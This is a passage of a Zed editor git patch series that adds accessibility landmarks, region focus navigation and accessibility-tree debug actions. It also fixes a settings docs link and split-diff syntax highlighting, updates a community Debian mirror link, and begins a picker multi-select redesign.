+            DockPosition::Bottom => ("bottom-dock", "Bottom dock"),
+        };
+        let dock_is_open = dock.read(cx).is_open();
+        let a11y_active = window.is_a11y_active();
+
         let mut container = div()
+            .id(dock_element_id)
+            .when(dock_is_open, |this| {
+                this.role(gpui::Role::Complementary)
+                    .aria_label(dock_label)
+                    .when(a11y_active, |this| {
+                        this.track_focus(self.region_focus_handles.dock(position))
+                    })
+            })
             .flex()
             .overflow_hidden()
             .flex_none()
@@ -8048,6 +8099,168 @@ impl Workspace {
         Some(container)
     }
 
+    /// Returns the currently-visible major window regions ("parts"), in a stable
+    /// cyclic order: title bar, left dock, editor, right dock, bottom dock,
+    /// status bar. Closed docks are skipped. Used by
+    /// [`FocusNextPart`]/[`FocusPreviousPart`] so keyboard and screen-reader
+    /// users can move between regions without a mouse.
+    fn focusable_parts(&self, cx: &App) -> Vec<FocusablePart> {
+        // The interactive focus target inside an open dock: the active panel, or
+        // the dock itself as a fallback. This is what region navigation focuses
+        // when no screen reader is active (preserving the previous behavior).
+        fn dock_content_handle(dock: &Entity<Dock>, cx: &App) -> FocusHandle {
+            let dock = dock.read(cx);
+            dock.active_panel()
+                .map(|panel| panel.panel_focus_handle(cx))
+                .unwrap_or_else(|| dock.focus_handle(cx))
+        }
+
+        let dock_part = |dock: &Entity<Dock>, wrapper: &FocusHandle| {
+            dock.read(cx)
+                .is_open()
+                .then(|| FocusablePart::landmark(wrapper.clone(), dock_content_handle(dock, cx)))
+        };
+
+        let mut parts = Vec::new();
+        if self.titlebar_item.is_some() {
+            // The title bar is an ARIA toolbar, so region navigation lands on
+            // its first control rather than the toolbar container.
+            parts.push(FocusablePart::toolbar(self.titlebar_focus_handle.clone()));
+        }
+        parts.extend(dock_part(
+            &self.left_dock,
+            &self.region_focus_handles.left_dock,
+        ));
+
+        let center_pane = self
+            .last_active_center_pane
+            .as_ref()
+            .and_then(|pane| pane.upgrade())
+            .unwrap_or_else(|| self.center.first_pane());
+        parts.push(FocusablePart::landmark(
+            self.region_focus_handles.editor.clone(),
+            center_pane.read(cx).focus_handle(cx),
+        ));
+
+        parts.extend(dock_part(
+            &self.right_dock,
+            &self.region_focus_handles.right_dock,
+        ));
+        parts.extend(dock_part(
+            &self.bottom_dock,
+            &self.region_focus_handles.bottom_dock,
+        ));
+        // The status bar is an ARIA toolbar, so region navigation lands on its
+        // first control rather than the toolbar container.
+        parts.push(FocusablePart::toolbar(
+            self.status_bar.read(cx).focus_handle(cx),
+        ));
+        parts
+    }
+
+    /// Moves focus to the next (or previous) visible window region. See
+    /// [`FocusNextPart`].
+    fn move_part_focus(&mut self, forward: bool, window: &mut Window, cx: &mut Context<Self>) {
+        let parts = self.focusable_parts(cx);
+        if parts.is_empty() {
+            return;
+        }
+        let current = parts
+            .iter()
+            .position(|part| part.contains_focused(window, cx));
+        let next_index = match current {
+            Some(index) if forward => (index + 1) % parts.len(),
+            Some(index) => (index + parts.len() - 1) % parts.len(),
+            None => 0,
+        };
+        let part = &parts[next_index];
+        match &part.behavior {
+            PartBehavior::Toolbar => {
+                // The ARIA toolbar pattern requires focus to rest on the first
+                // control, not the container. Focusing the tab-group container
+                // and advancing descends into its first control; if the toolbar
+                // has no focusable control, restore focus to the container so
+                // navigation doesn't escape into an unrelated region.
+                let container = part.container.clone();
+                window.focus(&container, cx);
+                window.focus_next(cx);
+                let landed_inside = window
+                    .focused(cx)
+                    .is_some_and(|handle| container.contains(&handle, window));
+                if !landed_inside {
+                    window.focus(&container, cx);
+                }
+            }
+            PartBehavior::Landmark { content } => {
+                // Only redirect to the (otherwise non-focusable) wrapper when a
+                // screen reader is active, so it is announced as a landmark.
+                // Without a screen reader, focus the interactive content so
+                // sighted keyboard users land somewhere usable, unchanged from
+                // before this feature existed.
+                if window.is_a11y_active() {
+                    window.focus(&part.container, cx);
+                } else {
+                    window.focus(content, cx);
+                }
+            }
+        }
+        cx.notify();
+    }
+
+    /// Moves focus between the interactive controls within the title bar
+    /// toolbar in response to arrow keys. Navigation is clamped to the title
+    /// bar so arrows move between items and stop at the ends (ARIA toolbar
+    /// semantics); Tab is still used to leave the toolbar.
+    fn move_titlebar_item_focus(
+        &mut self,
+        forward: bool,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let previous = window.focused(cx);
+        if forward {
+            window.focus_next(cx);
+        } else {
+            window.focus_prev(cx);
+        }
+        let landed_in_titlebar = window
+            .focused(cx)
+            .is_some_and(|handle| self.titlebar_focus_handle.contains(&handle, window));
+        // If Tab navigation wandered out of the toolbar, restore the previous
+        // item so the ends of the toolbar act as stops rather than exits.
+        if !landed_in_titlebar && let Some(previous) = previous {
+            window.focus(&previous, cx);
+        }
+        cx.notify();
+    }
+
+    /// Renders the center pane group wrapped in a `Main` landmark so assistive
+    /// technology recognizes the editor as the main region and can navigate to
+    /// it. While a screen reader is active the wrapper is also the focus target
+    /// for region navigation (it carries the landmark role and label), so
+    /// focusing it announces "Editor" instead of falling back to the whole
+    /// window. We only make it focusable in that case so it never adds a hitbox
+    /// or intercepts mouse focus for other users.
+    fn render_center(
+        &self,
+        render_cx: &PaneRenderContext,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> impl IntoElement {
+        div()
+            .id("editor-region")
+            .role(gpui::Role::Main)
+            .aria_label("Editor")
+            .when(window.is_a11y_active(), |this| {
+                this.track_focus(&self.region_focus_handles.editor)
+            })
+            .size_full()
+            .child(
+                self.center
+                    .render(self.zoomed.as_ref(), render_cx, window, cx),
+            )
+    }
+
     pub fn for_window(window: &Window, cx: &App) -> Option<Entity<Workspace>> {
         window
             .root::<MultiWorkspace>()
@@ -8522,6 +8735,92 @@ enum ActivateInDirectionTarget {
     Sidebar(FocusHandle),
 }
 
+/// A focusable major window region used by region navigation
+/// ([`FocusNextPart`]/[`FocusPreviousPart`]).
+struct FocusablePart {
+    /// The region's container/ancestor handle. For landmark regions this is the
+    /// wrapper that carries the landmark role + label (and is only focusable
+    /// while a screen reader is active); for toolbars it is the toolbar
+    /// container.
+    container: FocusHandle,
+    behavior: PartBehavior,
+}
+
+enum PartBehavior {
+    /// An ARIA toolbar (title bar, status bar). Region navigation focuses the
+    /// container and descends to its first control, which is usable for
+    /// everyone, so this is not gated on assistive technology.
+    Toolbar,
+    /// A landmark region (a dock or the editor). The wrapper carries the
+    /// landmark role + label, so when a screen reader is active we focus it so
+    /// it is announced. Otherwise we focus the interactive `content` so sighted
+    /// keyboard users land on something usable, exactly as before - and the
+    /// wrapper is left non-focusable so it never affects mouse focus.
+    Landmark { content: FocusHandle },
+}
+
+impl FocusablePart {
+    fn toolbar(container: FocusHandle) -> Self {
+        Self {
+            container,
+            behavior: PartBehavior::Toolbar,
+        }
+    }
+
+    fn landmark(wrapper: FocusHandle, content: FocusHandle) -> Self {
+        Self {
+            container: wrapper,
+            behavior: PartBehavior::Landmark { content },
+        }
+    }
+
+    /// Whether focus currently lies within this region. Checks both the wrapper
+    /// (focused/ancestor when a screen reader is active) and, for landmarks, the
+    /// interactive content (focused when a screen reader is not active, since
+    /// the wrapper isn't in the focus tree then).
+    fn contains_focused(&self, window: &Window, cx: &App) -> bool {
+        if self.container.contains_focused(window, cx) {
+            return true;
+        }
+        match &self.behavior {
+            PartBehavior::Landmark { content } => content.contains_focused(window, cx),
+            PartBehavior::Toolbar => false,
+        }
+    }
+}
+
+/// Focus handles for the landmark region wrappers (the docks and the editor).
+/// Region navigation ([`FocusNextPart`]/[`FocusPreviousPart`]) focuses these so
+/// it lands on the wrapper that actually carries the landmark role and label
+/// (e.g. `Main`/"Editor", `Complementary`/"Left dock"). Without them, region
+/// navigation would focus an inner element that has no accessibility node, and
+/// assistive technology would fall back to announcing the whole window.
+struct RegionFocusHandles {
+    left_dock: FocusHandle,
+    right_dock: FocusHandle,
+    bottom_dock: FocusHandle,
+    editor: FocusHandle,
+}
+
+impl RegionFocusHandles {
+    fn new(cx: &mut App) -> Self {
+        Self {
+            left_dock: cx.focus_handle(),
+            right_dock: cx.focus_handle(),
+            bottom_dock: cx.focus_handle(),
+            editor: cx.focus_handle(),
+        }
+    }
+
+    fn dock(&self, position: DockPosition) -> &FocusHandle {
+        match position {
+            DockPosition::Left => &self.left_dock,
+            DockPosition::Right => &self.right_dock,
+            DockPosition::Bottom => &self.bottom_dock,
+        }
+    }
+}
+
 fn notify_if_database_failed(window: WindowHandle<MultiWorkspace>, cx: &mut AsyncApp) {
     window
         .update(cx, |multi_workspace, _, cx| {
@@ -8682,7 +8981,42 @@ impl Render for Workspace {
             .items_start()
             .text_color(colors.text)
             .overflow_hidden()
-            .children(self.titlebar_item.clone())
+            // Expose the title bar as an ARIA toolbar so region navigation
+            // (FocusNextPart) can reach the top bar's controls and assistive
+            // technology announces it as a toolbar. The contained controls form
+            // a tab group: region navigation lands on the first control (per
+            // the ARIA toolbar pattern), Tab steps through them, and arrow keys
+            // move between them once focus is inside.
+            .when_some(self.titlebar_item.clone(), |this, item| {
+                this.child(
+                    div()
+                        .id("titlebar-region")
+                        .track_focus(&self.titlebar_focus_handle)
+                        .tab_group()
+                        .role(gpui::Role::Toolbar)
+                        .aria_label("Title bar")
+                        .on_key_down(cx.listener(
+                            |workspace, event: &gpui::KeyDownEvent, window, cx| {
+                                if event.keystroke.modifiers.modified() {
+                                    return;
+                                }
+                                match event.keystroke.key.as_str() {
+                                    "right" => {
+                                        workspace.move_titlebar_item_focus(true, window, cx);
+                                        cx.stop_propagation();
+                                    }
+                                    "left" => {
+                                        workspace.move_titlebar_item_focus(false, window, cx);
+                                        cx.stop_propagation();
+                                    }
+                                    _ => {}
+                                }
+                            },
+                        ))
+                        .w_full()
+                        .child(item),
+                )
+            })
             .on_modifiers_changed(move |_, _, cx| {
                 for &id in &notification_entities {
                     cx.notify(id);
@@ -8818,8 +9152,7 @@ impl Render for Workspace {
                                                                 .when_some(paddings.0, |this, p| {
                                                                     this.child(p.border_r_1())
                                                                 })
-                                                                .child(self.center.render(
-                                                                    self.zoomed.as_ref(),
+                                                                .child(self.render_center(
                                                                     &pane_render_context,
                                                                     window,
                                                                     cx,
@@ -8884,8 +9217,7 @@ impl Render for Workspace {
                                                                                 )
                                                                             },
                                                                         )
-                                                                        .child(self.center.render(
-                                                                            self.zoomed.as_ref(),
+                                                                        .child(self.render_center(
                                                                             &pane_render_context,
                                                                             window,
                                                                             cx,
@@ -8952,8 +9284,7 @@ impl Render for Workspace {
                                                                                 )
                                                                             },
                                                                         )
-                                                                        .child(self.center.render(
-                                                                            self.zoomed.as_ref(),
+                                                                        .child(self.render_center(
                                                                             &pane_render_context,
                                                                             window,
                                                                             cx,
@@ -9004,8 +9335,7 @@ impl Render for Workspace {
                                                         .when_some(paddings.0, |this, p| {
                                                             this.child(p.border_r_1())
                                                         })
-                                                        .child(self.center.render(
-                                                            self.zoomed.as_ref(),
+                                                        .child(self.render_center(
                                                             &pane_render_context,
                                                             window,
                                                             cx,
diff --git a/crates/workspace/src/workspace_settings.rs b/crates/workspace/src/workspace_settings.rs
index b450a3260cac0b..76c0713d298882 100644
--- a/crates/workspace/src/workspace_settings.rs
+++ b/crates/workspace/src/workspace_settings.rs
@@ -2,13 +2,14 @@ use std::{num::NonZeroUsize, time::Duration};
 
 use crate::DockPosition;
 use collections::HashMap;
+use gpui::{App, Subscription};
 use serde::Deserialize;
-use settings::CommandAliasTarget;
 pub use settings::{
     AutosaveSetting, BottomDockLayout, EncodingDisplayOptions, InactiveOpacity,
     PaneSplitDirectionHorizontal, PaneSplitDirectionVertical, RegisterSetting,
     RestoreOnStartupBehavior, Settings,
 };
+use settings::{CommandAliasTarget, SettingsStore};
 
 #[derive(RegisterSetting)]
 pub struct WorkspaceSettings {
@@ -27,6 +28,7 @@ pub struct WorkspaceSettings {
     pub drop_target_size: f32,
     pub use_system_path_prompts: bool,
     pub use_system_prompts: bool,
+    pub accessible_mode: bool,
     pub command_aliases: HashMap<String, CommandAliasTarget>,
     pub max_tabs: Option<NonZeroUsize>,
     pub when_closing_with_no_tabs: settings::CloseWindowWhenNoItems,
@@ -108,6 +110,7 @@ impl Settings for WorkspaceSettings {
             drop_target_size: workspace.drop_target_size.unwrap(),
             use_system_path_prompts: workspace.use_system_path_prompts.unwrap(),
             use_system_prompts: workspace.use_system_prompts.unwrap(),
+            accessible_mode: workspace.accessible_mode.unwrap(),
             command_aliases: workspace.command_aliases.clone(),
             max_tabs: workspace.max_tabs,
             when_closing_with_no_tabs: workspace.when_closing_with_no_tabs.unwrap(),
@@ -143,6 +146,39 @@ impl Settings for WorkspaceSettings {
     }
 }
 
+/// Provides convenient access to whether "accessible mode" is enabled, mirroring
+/// [`theme::ActiveTheme`] for the active theme. Import this trait to call
+/// `cx.accessible_mode()`.
+pub trait AccessibleMode {
+    /// Returns whether accessible mode is enabled.
+    fn accessible_mode(&self) -> bool;
+}
+
+impl AccessibleMode for App {
+    fn accessible_mode(&self) -> bool {
+        WorkspaceSettings::get_global(self).accessible_mode
+    }
+}
+
+/// Observes changes to the accessible-mode setting, invoking `callback` with the
+/// new value whenever it changes. Mirrors the common
+/// `cx.observe_global::<SettingsStore>` pattern, but only fires when the value
+/// actually changes. The returned [`Subscription`] must be retained for the
+/// callback to keep firing.
+pub fn observe_accessible_mode(
+    cx: &mut App,
+    mut callback: impl FnMut(bool, &mut App) + 'static,
+) -> Subscription {
+    let mut last = cx.accessible_mode();
+    cx.observe_global::<SettingsStore>(move |cx| {
+        let current = cx.accessible_mode();
+        if current != last {
+            last = current;
+            callback(current, cx);
+        }
+    })
+}
+
 impl Settings for TabBarSettings {
     fn from_settings(content: &settings::SettingsContent) -> Self {
         let tab_bar = content.tab_bar.clone().unwrap();
diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index 01f887b6b45c3d..139066d2faab6c 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -159,9 +159,28 @@ actions!(
     [
         /// Opens a prompt to enter a URL to open.
         OpenUrlPrompt,
+        /// Dumps the current accessibility tree (the last update sent to the
+        /// platform adapter) to a new buffer as JSON, for debugging what is
+        /// exposed to assistive technology.
+        DumpAccessibilityTree,
+        /// Copies the current accessibility tree to the clipboard as JSON,
+        /// without opening a buffer. See [`DumpAccessibilityTree`].
+        CopyAccessibilityTree,
     ]
 );
 
+/// Serializes the window's most recent accessibility tree to JSON for the
+/// `dev: dump/copy accessibility tree` actions, falling back to a friendly
+/// placeholder when no tree has been built yet.
+fn accessibility_tree_dump(window: &Window) -> String {
+    window.debug_a11y_tree_json().unwrap_or_else(|| {
+        "No accessibility tree has been built yet. The tree is only \
+         produced once assistive technology (e.g. a screen reader) is \
+         active for this window."
+            .to_string()
+    })
+}
+
 #[cfg(debug_assertions)]
 actions!(
     dev,
@@ -911,6 +930,57 @@ fn register_actions(
                 workspace.add_item_to_active_pane(Box::new(editor), None, true, window, cx);
             },
         )
+        .register_action(
+            |workspace: &mut Workspace,
+             _: &DumpAccessibilityTree,
+             window: &mut Window,
+             cx: &mut Context<Workspace>| {
+                let json = accessibility_tree_dump(window);
+                let language = workspace.app_state().languages.language_for_name("JSON");
+                cx.spawn_in(window, async move |workspace, cx| {
+                    let language = language.await.log_err();
+                    workspace
+                        .update_in(cx, |workspace, window, cx| {
+                            let project = workspace.project().clone();
+                            let buffer = project.update(cx, |project, cx| {
+                                project.create_local_buffer(&json, language, true, cx)
+                            });
+                            let title = "Accessibility Tree".to_string();
+                            let buffer = cx.new(|cx| {
+                                MultiBuffer::singleton(buffer, cx).with_title(title.clone())
+                            });
+                            let editor = cx.new(|cx| {
+                                let mut editor = Editor::for_multibuffer(
+                                    buffer,
+                                    Some(project),
+                                    window,
+                                    cx,
+                                );
+                                editor.set_breadcrumb_header(title);
+                                editor
+                            });
+                            workspace.add_item_to_active_pane(
+                                Box::new(editor),
+                                None,
+                                true,
+                                window,
+                                cx,
+                            );
+                        })
+                        .log_err();
+                })
+                .detach();
+            },
+        )
+        .register_action(
+            |_workspace: &mut Workspace,
+             _: &CopyAccessibilityTree,
+             window: &mut Window,
+             cx: &mut Context<Workspace>| {
+                let json = accessibility_tree_dump(window);
+                cx.write_to_clipboard(ClipboardItem::new_string(json));
+            },
+        )
         .register_action(|_, _: &Minimize, window, _| {
             window.minimize_window();
         })

From c399451ca019f1df10782cebb1a3e3e662195fcd Mon Sep 17 00:00:00 2001
From: Kunall Banerjee <hey@kimchiii.space>
Date: Mon, 13 Jul 2026 12:38:11 -0400
Subject: [PATCH 426/772] settings_ui: Open ACP docs from Settings UI correctly
 (#60881)

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Closes #60822.

---

Release Notes:

- Fixed broken handler for opening ACP documentation from the Settings
UI
---
 crates/settings_ui/src/pages/external_agents_page.rs | 10 +---------
 1 file changed, 1 insertion(+), 9 deletions(-)

diff --git a/crates/settings_ui/src/pages/external_agents_page.rs b/crates/settings_ui/src/pages/external_agents_page.rs
index b4b4350619dba8..786e3063e4e44c 100644
--- a/crates/settings_ui/src/pages/external_agents_page.rs
+++ b/crates/settings_ui/src/pages/external_agents_page.rs
@@ -18,7 +18,6 @@ use ui::{
 };
 use util::ResultExt as _;
 use workspace::{MultiWorkspace, Workspace, create_and_open_local_file};
-use zed_actions::OpenBrowser;
 
 use crate::SettingsWindow;
 
@@ -310,14 +309,7 @@ pub(crate) fn render_add_agent_popover(
                         .icon(IconName::ArrowUpRight)
                         .icon_color(Color::Muted)
                         .icon_position(IconPosition::End)
-                        .handler(move |window, cx| {
-                            window.dispatch_action(
-                                Box::new(OpenBrowser {
-                                    url: "https://agentclientprotocol.com/".into(),
-                                }),
-                                cx,
-                            );
-                        }),
+                        .handler(|_window, cx| cx.open_url("https://agentclientprotocol.com/")),
                 )
             }))
         });

From 4884a7b46ec6e650a3dce76f54d586c475d12ac7 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Mon, 13 Jul 2026 20:55:34 +0300
Subject: [PATCH 427/772] Fix CLI split diff lhs not getting a language
 registered (#60914)

Closes https://github.com/zed-industries/zed/issues/60751

Release Notes:

- Fixed split file diff missing syntax highlighting
---
 crates/git_ui/src/file_diff_view.rs | 97 +++++++++++++++++++++++++++++
 1 file changed, 97 insertions(+)

diff --git a/crates/git_ui/src/file_diff_view.rs b/crates/git_ui/src/file_diff_view.rs
index a8159566da4d90..321b7f2a29bea9 100644
--- a/crates/git_ui/src/file_diff_view.rs
+++ b/crates/git_ui/src/file_diff_view.rs
@@ -113,6 +113,24 @@ impl FileDiffView {
 
         let (buffer_changes_tx, mut buffer_changes_rx) = watch::channel(());
 
+        // The buffers' languages may load after the diff was built, e.g. when
+        // opening the view on startup via `zed --diff`. Propagate them to the
+        // base text buffer, which the split view's left-hand side displays.
+        cx.subscribe(&new_buffer, {
+            let base_text_buffer = diff.read(cx).base_text_buffer().downgrade();
+            move |_, buffer, event, cx| {
+                if let language::BufferEvent::LanguageChanged(_) = event {
+                    let language = buffer.read(cx).language().cloned();
+                    base_text_buffer
+                        .update(cx, |base_text_buffer, cx| {
+                            base_text_buffer.set_language_async(language, cx);
+                        })
+                        .ok();
+                }
+            }
+        })
+        .detach();
+
         for buffer in [&old_buffer, &new_buffer] {
             cx.subscribe(buffer, move |this, _, event, _| match event {
                 language::BufferEvent::Edited { .. }
@@ -373,6 +391,7 @@ mod tests {
     use editor::test::editor_test_context::assert_state_with_diff;
     use gpui::BorrowAppContext;
     use gpui::TestAppContext;
+    use language::{Language, LanguageConfig};
     use project::{FakeFs, Fs, Project};
     use settings::{DiffViewStyle, SettingsStore};
     use std::path::PathBuf;
@@ -534,6 +553,84 @@ mod tests {
         })
     }
 
+    #[gpui::test]
+    async fn test_split_diff_view_highlights_base_text_after_language_load(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx);
+        cx.update(|cx| {
+            cx.update_global::<SettingsStore, _>(|store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.editor.diff_view_style = Some(DiffViewStyle::Split);
+                });
+            });
+        });
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/test"),
+            serde_json::json!({
+                "old_file.rs": "fn main() {}\n",
+                "new_file.rs": "fn main() { unimplemented!() }\n",
+            }),
+        )
+        .await;
+
+        let project = Project::test(fs.clone(), [path!("/test").as_ref()], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+
+        let diff_view = workspace
+            .update_in(cx, |workspace, window, cx| {
+                FileDiffView::open(
+                    path!("/test/old_file.rs").into(),
+                    path!("/test/new_file.rs").into(),
+                    workspace.weak_handle(),
+                    window,
+                    cx,
+                )
+            })
+            .await
+            .unwrap();
+        cx.run_until_parked();
+
+        // Language detection completes only after the diff view was created,
+        // as happens on startup with `zed -n --diff old new`.
+        let language = Arc::new(Language::new(
+            LanguageConfig {
+                name: "Rust".into(),
+                ..LanguageConfig::default()
+            },
+            None,
+        ));
+        diff_view.update(cx, |diff_view, cx| {
+            diff_view.new_buffer.update(cx, |buffer, cx| {
+                buffer.set_language(Some(language.clone()), cx);
+            });
+        });
+        cx.run_until_parked();
+
+        let lhs_language = diff_view.read_with(cx, |diff_view, cx| {
+            let lhs_editor = diff_view
+                .editor
+                .read(cx)
+                .lhs_editor()
+                .expect("diff view should be split")
+                .clone();
+            let buffer = lhs_editor
+                .read(cx)
+                .buffer()
+                .read(cx)
+                .all_buffers()
+                .into_iter()
+                .next()
+                .expect("lhs multibuffer should have a buffer");
+            buffer.read(cx).language().map(|language| language.name())
+        });
+        assert_eq!(lhs_language, Some("Rust".into()));
+    }
+
     #[gpui::test]
     async fn test_save_changes_in_diff_view(cx: &mut TestAppContext) {
         init_test(cx);

From bd72919555149fc072d33c4fa6805c742a11ee8b Mon Sep 17 00:00:00 2001
From: Dario Griffo <dariogriffo@users.noreply.github.com>
Date: Mon, 13 Jul 2026 18:56:15 +0100
Subject: [PATCH 428/772] docs: Update community Debian mirror domain to
 deb.griffo.io (#60909)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The community-maintained Debian repository linked in the Linux install
docs moved from `debian.griffo.io` to `deb.griffo.io` to comply with the
[Debian trademark policy](https://www.debian.org/trademark) (Debian
trademarks may not be used in domain names). Same repository, packages,
and signing key; the old domain serves permanent redirects, so existing
links keep working — this just points the docs at the canonical URL.

I maintain the repository in question.

Release Notes:

- N/A
---
 docs/src/linux.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/src/linux.md b/docs/src/linux.md
index bfc61e90455bee..6c48caa566b503 100644
--- a/docs/src/linux.md
+++ b/docs/src/linux.md
@@ -66,7 +66,7 @@ The packages in this section provide binary installs for Zed but are not officia
 
 #### Debian and Ubuntu
 
-Zed is available in [this community-maintained repository](https://debian.griffo.io/).
+Zed is available in [this community-maintained repository](https://deb.griffo.io/).
 
 Instructions for each version are available in the README of the repository where packages are built.
 Build, packaging and instructions for each version are available in the README of the [repository](https://github.com/dariogriffo/zed-debian)

From 90b3aa0b3bd3b453775b11a386907c7ac9acd997 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Mon, 13 Jul 2026 15:21:15 -0300
Subject: [PATCH 429/772] picker: Improve multi-select discoverability and
 rendering (#60919)

This PR reworks how multi-select mode is rendered in pickers (only used
by the file finder and text finder).

The "Multi Select" entry previously lived inside the footer's Actions
menu, which was hard to discover and its toggle checkmark misaligned the
menu's keybinding column. This PR changes to an icon button at the
far-roght edge of the search editor, with a tooltip showing the
keybinding to toggle it.

Also made each list item use the actual Checkbox component instead of a
bespoke re-implementation of it. And in doing so, added a few design
improvements to the list item so that it received the checkbox while
preserving proper styles for each interaction state, as well as
displaying the keybinding to select the item or check the item.

Here's a quick video, showing these changes off:


https://github.com/user-attachments/assets/e142f7d1-87ba-4258-844b-953ed06237bd

Release Notes:

- Improved multi-select in the file finder and text finder: the toggle
now lives in the search bar with a `cmd-shift-s` keybinding, and
selection checkboxes render inside list items.
---
 Cargo.lock                                    |   2 -
 assets/icons/file_ignored.svg                 |   5 +
 assets/icons/file_multiple.svg                |   5 +
 assets/keymaps/specific-overrides-macos.json  |   1 +
 assets/keymaps/specific-overrides.json        |   1 +
 crates/agent_ui/Cargo.toml                    |   1 -
 crates/agent_ui/src/threads_archive_view.rs   |  17 --
 crates/file_finder/src/file_finder.rs         | 146 ++++++++++-------
 crates/git_ui/src/branch_picker.rs            | 134 ++++++++--------
 crates/icons/src/icons.rs                     |   2 +
 crates/picker/src/footer.rs                   |  28 ++--
 crates/picker/src/picker.rs                   | 147 +++++++++++-------
 crates/picker/src/render.rs                   |  73 +++++++--
 crates/picker/src/shape.rs                    |  10 +-
 crates/recent_projects/Cargo.toml             |   1 -
 crates/recent_projects/src/recent_projects.rs |  17 --
 .../src/sidebar_recent_projects.rs            |  17 --
 crates/search/src/search.rs                   |  13 +-
 crates/search/src/text_finder/delegate.rs     |  38 ++++-
 19 files changed, 378 insertions(+), 280 deletions(-)
 create mode 100644 assets/icons/file_ignored.svg
 create mode 100644 assets/icons/file_multiple.svg

diff --git a/Cargo.lock b/Cargo.lock
index c052ace3eb115b..f1a64ec5fe4c6b 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -550,7 +550,6 @@ dependencies = [
  "time",
  "tree-sitter-md",
  "ui",
- "ui_input",
  "unicode-script",
  "unicode-segmentation",
  "unindent",
@@ -14960,7 +14959,6 @@ dependencies = [
  "task",
  "telemetry",
  "ui",
- "ui_input",
  "util",
  "windows-registry 0.6.1",
  "workspace",
diff --git a/assets/icons/file_ignored.svg b/assets/icons/file_ignored.svg
new file mode 100644
index 00000000000000..2c3228c6ade3b5
--- /dev/null
+++ b/assets/icons/file_ignored.svg
@@ -0,0 +1,5 @@
+<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M1.24139 2.86957L14.7586 13.1304" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M3.5 7.63104V12.8C3.5 13.1182 3.61853 13.4235 3.8295 13.6485C4.04048 13.8735 4.32663 14 4.625 14H11.0079" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M4.625 2H8.60442C9.29544 2 9.95564 2.28602 10.4283 2.79015L11.8238 4.27877C12.2582 4.74213 12.5 5.35347 12.5 5.98862V7.97886" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+</svg>
diff --git a/assets/icons/file_multiple.svg b/assets/icons/file_multiple.svg
new file mode 100644
index 00000000000000..739885eb65ed69
--- /dev/null
+++ b/assets/icons/file_multiple.svg
@@ -0,0 +1,5 @@
+<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M9.50458 4V6.43334C9.50458 6.77846 9.64168 7.10944 9.88571 7.35348C10.1298 7.59752 10.4607 7.73462 10.8059 7.73462H13.3" stroke="#DCE0E5" stroke-width="1.2" stroke-linejoin="round"/>
+<path d="M11.5735 4.65846C11.1797 4.23835 10.6295 4 10.0537 4H6.73749C6.48885 4 6.25039 4.10536 6.07458 4.29289C5.89876 4.48043 5.79999 4.73478 5.79999 5V13C5.79999 13.2652 5.89876 13.5196 6.07458 13.7071C6.25039 13.8946 6.48885 14 6.73749 14H12.3625C12.6111 14 12.8496 13.8946 13.0254 13.7071C13.2012 13.5196 13.3 13.2652 13.3 13V7.32385C13.3 6.79456 13.0985 6.28511 12.7365 5.89897L11.5735 4.65846Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M5.5 12H3.73749C3.48885 12 3.25039 11.8946 3.07458 11.7071C2.89876 11.5196 2.79999 11.2652 2.79999 11V3C2.79999 2.73478 2.89876 2.48043 3.07458 2.29289C3.25039 2.10536 3.48885 2 3.73749 2H7.05367C7.62952 2 8.17969 2.23835 8.57354 2.65846L9.83124 4" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+</svg>
diff --git a/assets/keymaps/specific-overrides-macos.json b/assets/keymaps/specific-overrides-macos.json
index f8e4e1fb06ba7f..68cfb32f9b047c 100644
--- a/assets/keymaps/specific-overrides-macos.json
+++ b/assets/keymaps/specific-overrides-macos.json
@@ -11,6 +11,7 @@
     "use_key_equivalents": true,
     "bindings": {
       "cmd-shift-a": "picker::ToggleActionsMenu",
+      "cmd-shift-s": "picker::ToggleMultiSelect",
     },
   },
   {
diff --git a/assets/keymaps/specific-overrides.json b/assets/keymaps/specific-overrides.json
index 0f622554f70add..494fd8d59d06e2 100644
--- a/assets/keymaps/specific-overrides.json
+++ b/assets/keymaps/specific-overrides.json
@@ -10,6 +10,7 @@
     "context": "Picker > Editor",
     "bindings": {
       "ctrl-shift-a": "picker::ToggleActionsMenu",
+      "ctrl-shift-s": "picker::ToggleMultiSelect",
     },
   },
   {
diff --git a/crates/agent_ui/Cargo.toml b/crates/agent_ui/Cargo.toml
index 3ccf5297380648..bfabeac626b5ae 100644
--- a/crates/agent_ui/Cargo.toml
+++ b/crates/agent_ui/Cargo.toml
